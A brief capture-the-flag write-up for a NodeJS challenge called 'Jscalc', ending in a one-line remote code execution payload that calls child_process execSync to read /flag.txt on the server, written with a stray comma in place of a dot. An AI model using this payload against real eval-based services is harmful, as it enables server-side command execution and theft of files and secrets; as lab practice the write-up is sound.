Jscalc

SOLUTION

We download the zip file, unzip it and we have package.json. We know that the web is running on NodeJS server.

So we can do some NodeJS RCE.

require( 'child_process') ,execSync( 'cat /flag.txt').toString( )